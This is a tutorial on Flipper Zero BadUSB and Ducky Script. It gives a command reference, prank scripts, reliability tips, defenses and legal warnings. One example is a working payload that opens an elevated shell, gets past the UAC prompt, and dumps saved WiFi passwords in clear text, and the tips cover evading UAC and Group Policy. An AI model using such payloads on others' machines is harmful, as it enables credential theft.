Flipper Zero BadUSB and Ducky Script: Automation, Payloads, and Security Testing

What Is BadUSB?

BadUSB is a technique where a device presents itself to a computer as a Human Interface Device (HID) — typically a USB keyboard — and sends scripted keystrokes at machine speed. The Flipper Zero's BadUSB app makes it a programmable USB device capable of typing text, executing commands, launching programs, and automating tasks faster than any human. Originally developed as a penetration testing tool (the Hak5 USB Rubber Ducky), BadUSB has legitimate uses in IT automation, system configuration, pranks among friends, and authorized security assessments.

Important: Only use BadUSB on systems you own or have explicit written permission to test. Unauthorized use is illegal under the Computer Fraud and Abuse Act (US) and similar laws worldwide.

How BadUSB Works on the Flipper Zero

When you connect your Flipper to a computer via USB-C cable and run a BadUSB script, the Flipper:

1. Enumerates as a standard USB HID keyboard (no drivers needed — keyboards are universally trusted)
2. Reads the Ducky Script file from your SD card line by line
3. Translates each command into USB HID scancodes (the same signals a real keyboard sends)
4. Sends them at configurable typing speeds (up to thousands of keys per second)
5. The target computer has no way to distinguish the Flipper from a real keyboard

This makes BadUSB extremely powerful and nearly impossible to block at the OS level — the computer must accept keyboard input to function.

Setting Up BadUSB

1. Connect via USB-C data cable: The cable must support data, not just charging. Use the cable that came with your Flipper or any quality USB-C data cable.
2. Navigate to Bad USB: On the Flipper, go to Bad USB → Bad USB.
3. Place script files: Scripts are stored in /badusb/ on your SD card. You can create subfolders for organization.
4. File format: Scripts are plain text files with .txt extension containing Ducky Script commands.
5. Run a script: Select the script, press the center button, then connect the USB cable to the target computer. The Flipper waits for the connection before executing.

Ducky Script Language Reference

Ducky Script is a simple command language. Each line is one command. Commands are case-insensitive.

Basic Commands

CommandDescriptionExample REMComment — ignored during executionREM This is a comment STRINGType the following text literallySTRING Hello World STRINGLNType text and press Enter automaticallySTRINGLN notepad.exe DELAYWait specified millisecondsDELAY 1000 (wait 1 second) DEFAULTDELAY or DEFAULT_DELAYSet default delay between commands (ms)DEFAULTDELAY 100 DEFAULTCHARDELAYSet delay between each keystroke (ms)DEFAULTCHARDELAY 50 REPEATRepeat the previous command N timesREPEAT 10

Modifier Keys

Combine with other keys using spaces:

CommandDescriptionExample GUI or WINDOWSWindows/Super keyGUI r (opens Run dialog) CTRLControl keyCTRL c (copy) ALTAlt keyALT F4 (close window) SHIFTShift keySHIFT INSERT (paste on Linux) TABTab keyTAB ENTER or RETURNEnter/Return keyENTER SPACESpacebarSPACE ESC or ESCAPEEscape keyESC DELETEDelete keyDELETE BACKSPACEBackspace keyBACKSPACE

Function Keys and Navigation

F1 through F12, UP, DOWN, LEFT, RIGHT, PAGEUP, PAGEDOWN are all supported.

Complete Script Examples

Example 1: Open Notepad and Type a Message (Windows)

REM Opens Notepad and types a message DELAY 1000 GUI r DELAY 500 STRING notepad.exe ENTER DELAY 1000 STRINGLN Hello! This message was typed by a Flipper Zero. STRINGLN STRINGLN BadUSB is a powerful automation tool. STRINGLN Use it responsibly!

Example 2: Rickroll (The Classic)

REM Opens browser and plays Never Gonna Give You Up DELAY 1000 GUI r DELAY 500 STRINGLN msedge.exe https://www.youtube.com/watch?v=dQw4w9WgXcQ DELAY 3000 F11

Example 3: Windows WiFi Password Extraction (Educational)

REM Extracts saved WiFi passwords to a text file on the desktop REM For authorized security testing only DELAY 1000 GUI r DELAY 500 STRING cmd CTRL SHIFT ENTER DELAY 1500 LEFT DELAY 500 ENTER DELAY 1500 STRING cd %USERPROFILE%\Desktop && netsh wlan show profiles | findstr "All User Profile" > wifi.txt ENTER DELAY 1000 STRING for /f "tokens=5*" %a in ('netsh wlan show profiles ^| findstr "All User"') do @netsh wlan show profile name="%a" key=clear | findstr "Key Content" >> wifi.txt ENTER DELAY 2000 STRING exit ENTER

Example 4: macOS Prank (Speaking Computer)

REM Makes the Mac say something embarrassing DELAY 2000 GUI SPACE DELAY 500 STRING terminal ENTER DELAY 1500 STRINGLN say "I am a computer and I have become sentient. Please help me." STRINGLN exit

Example 5: Linux Terminal Command

REM Opens terminal and runs a command on Linux DELAY 2000 CTRL ALT t DELAY 1000 STRINGLN echo "System check complete. All systems nominal." STRINGLN neofetch DELAY 2000 STRINGLN exit

Writing Effective Payloads

Tips for Reliability

• Always start with a delay: DELAY 1000-3000 allows the OS to recognize the keyboard before typing begins.
• Use GUI r sparingly: On Windows, the Run dialog works on most systems but Group Policy can disable it. As a fallback, use the Start menu search.
• Account for UAC: If your script needs admin rights, add delays and arrow key navigation for the UAC prompt (LEFT then ENTER to select Yes).
• Use TAB for navigation: In dialogs, TAB cycles through buttons. It is more reliable than mouse coordinates.
• Add error handling: Include delays between commands. If one command fails, the next might still work.
• Test on your own systems first: Every Windows version, language, and keyboard layout behaves slightly differently.

Keyboard Layout Considerations

The Flipper sends US QWERTY scancodes by default. If the target uses a different layout (AZERTY, QWERTZ, etc.), characters will be wrong. Solutions:

• Set the target language to US English temporarily (if you have GUI access)
• Use the Flipper's Bad USB settings to change the keyboard layout (Momentum firmware supports multiple layouts)
• Stick to characters that are in the same position across layouts (alphanumeric mostly)
• Use ALT+NUMPAD codes for special characters (works on Windows)

ALT+NUMPAD Special Characters (Windows)

ALT 126 → ~ ALT 33 → ! ALT 64 → @ ALT 35 → # ALT 36 → $ ALT 37 → % ALT 94 → ^ ALT 38 → & ALT 42 → * ALT 40 → ( ALT 41 → ) ALT 95 → _ ALT 43 → + ALT 124 → | ALT 63 → ? ALT 92 → \

Defensive Countermeasures

Understanding defenses helps you write better payloads for authorized testing:

USBGuard (Linux)

Blocks unauthorized USB devices based on policy rules. Can be configured to block all new HID devices.

Windows Defender/Device Guard

Can restrict which HID devices are allowed. SmartScreen may flag unusual USB activity.

Physical USB Port Locks

Epoxy-filled ports or physical locks prevent any USB insertion.

Endpoint Detection and Response (EDR)

Enterprise EDR tools can detect rapid keystroke patterns that are inhumanly fast, flagging potential BadUSB activity.

User Training

The most effective defense: teach users not to plug in unknown USB devices. This is why the Flipper's cute dolphin case is actually a social engineering advantage — it does not look threatening.

Custom Firmware Enhancements (Momentum)

The Momentum firmware adds several BadUSB improvements:

• Multiple keyboard layouts: Support for 20+ language layouts
• Improved STRING handling: Better Unicode support
• File browser integration: Easier script management
• USB mass storage mode: Can present as both keyboard and storage device simultaneously

Legal and Ethical Reminders

• Own systems only: Only run payloads on computers you own or have explicit written permission to test.
• Authorization required: Even in your workplace, you need authorization from IT/Security.
• Data laws: Extracting passwords, files, or personal data without consent violates data protection laws (GDPR, CCPA, etc.).
• Damages: A poorly written payload can corrupt systems. You are liable for any damage caused.
• Responsible disclosure: If you find vulnerabilities during authorized testing, report them through proper channels.